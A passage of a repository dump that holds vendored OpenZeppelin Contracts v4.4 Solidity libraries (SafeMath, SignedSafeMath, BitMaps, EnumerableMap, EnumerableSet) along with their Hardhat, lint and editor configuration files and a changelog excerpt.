* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/math/SignedSafeMath.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SignedSafeMath.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SignedSafeMath {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/structs/BitMaps.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/BitMaps.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing uint256 to bool mapping in a compact and efficient way, providing the keys are sequential.
* Largelly inspired by Uniswap's https://github.com/Uniswap/merkle-distributor/blob/master/contracts/MerkleDistributor.sol[merkle-distributor].
*/
library BitMaps {
struct BitMap {
mapping(uint256 => uint256) _data;
}
/**
* @dev Returns whether the bit at `index` is set.
*/
function get(BitMap storage bitmap, uint256 index) internal view returns (bool) {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
return bitmap._data[bucket] & mask != 0;
}
/**
* @dev Sets the bit at `index` to the boolean `value`.
*/
function setTo(
BitMap storage bitmap,
uint256 index,
bool value
) internal {
if (value) {
set(bitmap, index);
} else {
unset(bitmap, index);
}
}
/**
* @dev Sets the bit at `index`.
*/
function set(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] |= mask;
}
/**
* @dev Unsets the bit at `index`.
*/
function unset(BitMap storage bitmap, uint256 index) internal {
uint256 bucket = index >> 8;
uint256 mask = 1 << (index & 0xff);
bitmap._data[bucket] &= ~mask;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/structs/EnumerableMap.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableMap.sol)
pragma solidity ^0.8.0;
import "./EnumerableSet.sol";
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
using EnumerableSet for EnumerableSet.Bytes32Set;
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct Map {
// Storage of keys
EnumerableSet.Bytes32Set _keys;
mapping(bytes32 => bytes32) _values;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(
Map storage map,
bytes32 key,
bytes32 value
) private returns (bool) {
map._values[key] = value;
return map._keys.add(key);
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
delete map._values[key];
return map._keys.remove(key);
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._keys.contains(key);
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._keys.length();
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
bytes32 key = map._keys.at(index);
return (key, map._values[key]);
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*/
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
bytes32 value = map._values[key];
if (value == bytes32(0)) {
return (_contains(map, key), bytes32(0));
} else {
return (true, value);
}
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), "EnumerableMap: nonexistent key");
return value;
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(
Map storage map,
bytes32 key,
string memory errorMessage
) private view returns (bytes32) {
bytes32 value = map._values[key];
require(value != 0 || _contains(map, key), errorMessage);
return value;
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(
UintToAddressMap storage map,
uint256 key,
address value
) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(
UintToAddressMap storage map,
uint256 key,
string memory errorMessage
) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/utils/structs/EnumerableSet.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/hardhat/env-contract.js
================================================
extendEnvironment(env => {
const { contract } = env;
env.contract = function (name, body) {
// remove the default account from the accounts list used in tests, in order
// to protect tests against accidentally passing due to the contract
// deployer being used subsequently as function caller
contract(name, accounts => body(accounts.slice(1)));
};
});
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/hardhat.config.js
================================================
/// ENVVAR
// - CI: output gas report to file instead of stdout
// - COVERAGE: enable coverage report
// - ENABLE_GAS_REPORT: enable gas report
// - COMPILE_MODE: production modes enables optimizations (default: development)
// - COMPILE_VERSION: compiler version (default: 0.8.3)
// - COINMARKETCAP: coinmarkercat api key for USD value in gas report
const fs = require('fs');
const path = require('path');
const argv = require('yargs/yargs')()
.env('')
.options({
ci: {
type: 'boolean',
default: false,
},
coverage: {
type: 'boolean',
default: false,
},
gas: {
alias: 'enableGasReport',
type: 'boolean',
default: false,
},
mode: {
alias: 'compileMode',
type: 'string',
choices: [ 'production', 'development' ],
default: 'development',
},
compiler: {
alias: 'compileVersion',
type: 'string',
default: '0.8.3',
},
coinmarketcap: {
alias: 'coinmarketcapApiKey',
type: 'string',
},
})
.argv;
require('@nomiclabs/hardhat-truffle5');
if (argv.enableGasReport) {
require('hardhat-gas-reporter');
}
for (const f of fs.readdirSync(path.join(__dirname, 'hardhat'))) {
require(path.join(__dirname, 'hardhat', f));
}
const withOptimizations = argv.enableGasReport || argv.compileMode === 'production';
/**
* @type import('hardhat/config').HardhatUserConfig
*/
module.exports = {
solidity: {
version: argv.compiler,
settings: {
optimizer: {
enabled: withOptimizations,
runs: 200,
},
},
},
networks: {
hardhat: {
blockGasLimit: 10000000,
allowUnlimitedContractSize: !withOptimizations,
},
},
gasReporter: {
currency: 'USD',
outputFile: argv.ci ? 'gas-report.txt' : undefined,
coinmarketcap: argv.coinmarketcap,
},
};
if (argv.coverage) {
require('solidity-coverage');
module.exports.networks.hardhat.initialBaseFeePerGas = 0;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/migrations/.gitkeep
================================================
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/netlify.toml
================================================
[build]
command = "npm run docs"
publish = "build/site"
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/package.json
================================================
{
"name": "openzeppelin-solidity",
"description": "Secure Smart Contract library for Solidity",
"version": "4.4.2",
"files": [
"/contracts/**/*.sol",
"/build/contracts/*.json",
"!/contracts/mocks/**/*"
],
"bin": {
"openzeppelin-contracts-migrate-imports": "scripts/migrate-imports.js"
},
"scripts": {
"compile": "hardhat compile",
"coverage": "env COVERAGE=true hardhat coverage",
"docs": "oz-docs",
"docs:watch": "npm run docs watch contracts 'docs/*.hbs' docs/helpers.js",
"prepare-docs": "scripts/prepare-docs.sh",
"lint": "npm run lint:js && npm run lint:sol",
"lint:fix": "npm run lint:js:fix && npm run lint:sol:fix",
"lint:js": "eslint --ignore-path .gitignore .",
"lint:js:fix": "eslint --ignore-path .gitignore . --fix",
"lint:sol": "solhint 'contracts/**/*.sol' && prettier -c 'contracts/**/*.sol'",
"lint:sol:fix": "prettier --write \"contracts/**/*.sol\"",
"clean": "hardhat clean && rimraf build contracts/build",
"prepare": "npm run clean && env COMPILE_MODE=production npm run compile",
"prepack": "scripts/prepack.sh",
"release": "scripts/release/release.sh",
"version": "scripts/release/version.sh",
"test": "hardhat test",
"test:inheritance": "node scripts/inheritanceOrdering artifacts/build-info/*",
"gas-report": "env ENABLE_GAS_REPORT=true npm run test"
},
"repository": {
"type": "git",
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts.git"
},
"keywords": [
"solidity",
"ethereum",
"smart",
"contracts",
"security",
"zeppelin"
],
"author": "OpenZeppelin Community ",
"license": "MIT",
"bugs": {
"url": "https://github.com/OpenZeppelin/openzeppelin-contracts/issues"
},
"homepage": "https://openzeppelin.com/contracts/",
"devDependencies": {
"@nomiclabs/hardhat-truffle5": "^2.0.0",
"@nomiclabs/hardhat-web3": "^2.0.0",
"@openzeppelin/docs-utils": "^0.1.0",
"@openzeppelin/test-helpers": "^0.5.13",
"@truffle/abi-utils": "^0.2.3",
"chai": "^4.2.0",
"eslint": "^6.5.1",
"eslint-config-standard": "^14.1.1",
"eslint-plugin-import": "^2.20.0",
"eslint-plugin-mocha-no-only": "^1.1.0",
"eslint-plugin-node": "^10.0.0",
"eslint-plugin-promise": "^4.2.1",
"eslint-plugin-standard": "^4.0.1",
"eth-sig-util": "^3.0.0",
"ethereumjs-util": "^7.0.7",
"ethereumjs-wallet": "^1.0.1",
"glob": "^7.2.0",
"graphlib": "^2.1.8",
"hardhat": "^2.0.6",
"hardhat-gas-reporter": "^1.0.4",
"keccak256": "^1.0.2",
"lodash.startcase": "^4.4.0",
"lodash.zip": "^4.2.0",
"merkletreejs": "^0.2.13",
"micromatch": "^4.0.2",
"prettier": "^2.3.0",
"prettier-plugin-solidity": "^1.0.0-beta.16",
"rimraf": "^3.0.2",
"semver": "^7.3.5",
"solhint": "^3.3.6",
"solidity-ast": "^0.4.25",
"solidity-coverage": "^0.7.11",
"solidity-docgen": "^0.5.3",
"web3": "^1.3.0",
"yargs": "^16.2.0"
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/renovate.json
================================================
{
"extends": [
"github>OpenZeppelin/code-style"
],
"packageRules": [
{
"extends": ["packages:eslint"],
"enabled": false
}
]
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.codecov.yml
================================================
comment: off
github_checks:
annotations: false
coverage:
status:
patch:
default:
target: 95%
project:
default:
threshold: 1%
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.editorconfig
================================================
# EditorConfig is awesome: https://EditorConfig.org
# top-most EditorConfig file
root = true
[*]
charset = utf-8
end_of_line = lf
indent_style = space
insert_final_newline = true
trim_trailing_whitespace = false
max_line_length = 120
[*.sol]
indent_size = 4
[*.js]
indent_size = 2
[*.adoc]
max_line_length = 0
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.eslintrc
================================================
{
"extends" : [
"standard",
"plugin:promise/recommended",
],
"plugins": [
"mocha-no-only",
"promise",
],
"env": {
"browser" : true,
"node" : true,
"mocha" : true,
"jest" : true,
},
"globals" : {
"artifacts": false,
"contract": false,
"assert": false,
"web3": false,
"usePlugin": false,
"extendEnvironment": false,
},
"rules": {
// Strict mode
"strict": ["error", "global"],
// Code style
"array-bracket-spacing": ["off"],
"camelcase": ["error", {"properties": "always"}],
"comma-dangle": ["error", "always-multiline"],
"comma-spacing": ["error", {"before": false, "after": true}],
"dot-notation": ["error", {"allowKeywords": true, "allowPattern": ""}],
"eol-last": ["error", "always"],
"eqeqeq": ["error", "smart"],
"generator-star-spacing": ["error", "before"],
"indent": ["error", 2],
"linebreak-style": ["error", "unix"],
"max-len": ["error", 120, 2],
"no-debugger": "off",
"no-dupe-args": "error",
"no-dupe-keys": "error",
"no-mixed-spaces-and-tabs": ["error", "smart-tabs"],
"no-redeclare": ["error", {"builtinGlobals": true}],
"no-trailing-spaces": ["error", { "skipBlankLines": false }],
"no-undef": "error",
"no-use-before-define": "off",
"no-var": "error",
"object-curly-spacing": ["error", "always"],
"prefer-const": "error",
"quotes": ["error", "single"],
"semi": ["error", "always"],
"space-before-function-paren": ["error", "always"],
"mocha-no-only/mocha-no-only": ["error"],
"promise/always-return": "off",
"promise/avoid-new": "off",
},
"parserOptions": {
"ecmaVersion": 2018
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.gitattributes
================================================
*.sol linguist-language=Solidity
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.gitignore
================================================
*.swp
*.swo
# Logs
logs
*.log
# Runtime data
pids
*.pid
*.seed
allFiredEvents
scTopics
# Coverage directory used by tools like istanbul
coverage
coverage.json
coverageEnv
# node-waf configuration
.lock-wscript
# Dependency directory
node_modules
# Debug log from npm
npm-debug.log
# local env variables
.env
# truffle build directory
build/
# macOS
.DS_Store
# truffle
.node-xmlhttprequest-*
# IntelliJ IDE
.idea
# docs artifacts
docs/modules/api
# only used to package @openzeppelin/contracts
contracts/build/
contracts/README.md
# temporary artifact from solidity-coverage
allFiredEvents
.coverage_artifacts
.coverage_cache
.coverage_contracts
# hardhat
cache
artifacts
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.mocharc.js
================================================
module.exports = {
require: 'hardhat/register',
timeout: 4000,
};
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.prettierrc
================================================
{
"overrides": [
{
"files": "*.sol",
"options": {
"printWidth": 120,
"explicitTypes": "always"
}
}
]
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.solcover.js
================================================
module.exports = {
norpc: true,
testCommand: 'npm test',
compileCommand: 'npm run compile',
skipFiles: [
'mocks',
],
providerOptions: {
default_balance_ether: '10000000000000000000000000',
},
mocha: {
fgrep: '[skip-on-coverage]',
invert: true,
},
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/.solhint.json
================================================
{
"rules": {
"no-unused-vars": "error",
"const-name-snakecase": "error",
"contract-name-camelcase": "error",
"event-name-camelcase": "error",
"func-name-mixedcase": "error",
"func-param-name-mixedcase": "error",
"modifier-name-mixedcase": "error",
"private-vars-leading-underscore": "error",
"var-name-mixedcase": "error",
"imports-on-top": "error"
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/CHANGELOG.md
================================================
# Changelog
## 4.4.2 (2022-01-11)
### Bugfixes
* `GovernorCompatibilityBravo`: Fix error in the encoding of calldata for proposals submitted through the compatibility interface with explicit signatures. ([#3100](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/#3100))
## 4.4.1 (2021-12-14)
* `Initializable`: change the existing `initializer` modifier and add a new `onlyInitializing` modifier to prevent reentrancy risk. ([#3006](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/3006))
### Breaking change
It is no longer possible to call an `initializer`-protected function from within another `initializer` function outside the context of a constructor. Projects using OpenZeppelin upgradeable proxies should continue to work as is, since in the common case the initializer is invoked in the constructor directly. If this is not the case for you, the suggested change is to use the new `onlyInitializing` modifier in the following way:
```diff
contract A {
- function initialize() public initializer { ... }
+ function initialize() internal onlyInitializing { ... }
}
contract B is A {
function initialize() public initializer {
A.initialize();
}
}
```
## 4.4.0 (2021-11-25)
* `Ownable`: add an internal `_transferOwnership(address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))
* `AccessControl`: add internal `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))
* `AccessControl`: mark `_setupRole(bytes32,address)` as deprecated in favor of `_grantRole(bytes32,address)`. ([#2568](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2568))
* `AccessControlEnumerable`: hook into `_grantRole(bytes32,address)` and `_revokeRole(bytes32,address)`. ([#2946](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2946))
* `EIP712`: cache `address(this)` to immutable storage to avoid potential issues if a vanilla contract is used in a delegatecall context. ([#2852](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2852))
* Add internal `_setApprovalForAll` to `ERC721` and `ERC1155`. ([#2834](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2834))
* `Governor`: shift vote start and end by one block to better match Compound's GovernorBravo and prevent voting at the Governor level if the voting snapshot is not ready. ([#2892](https://github.com/OpenZeppelin/openzeppelin-contracts/pull/2892))
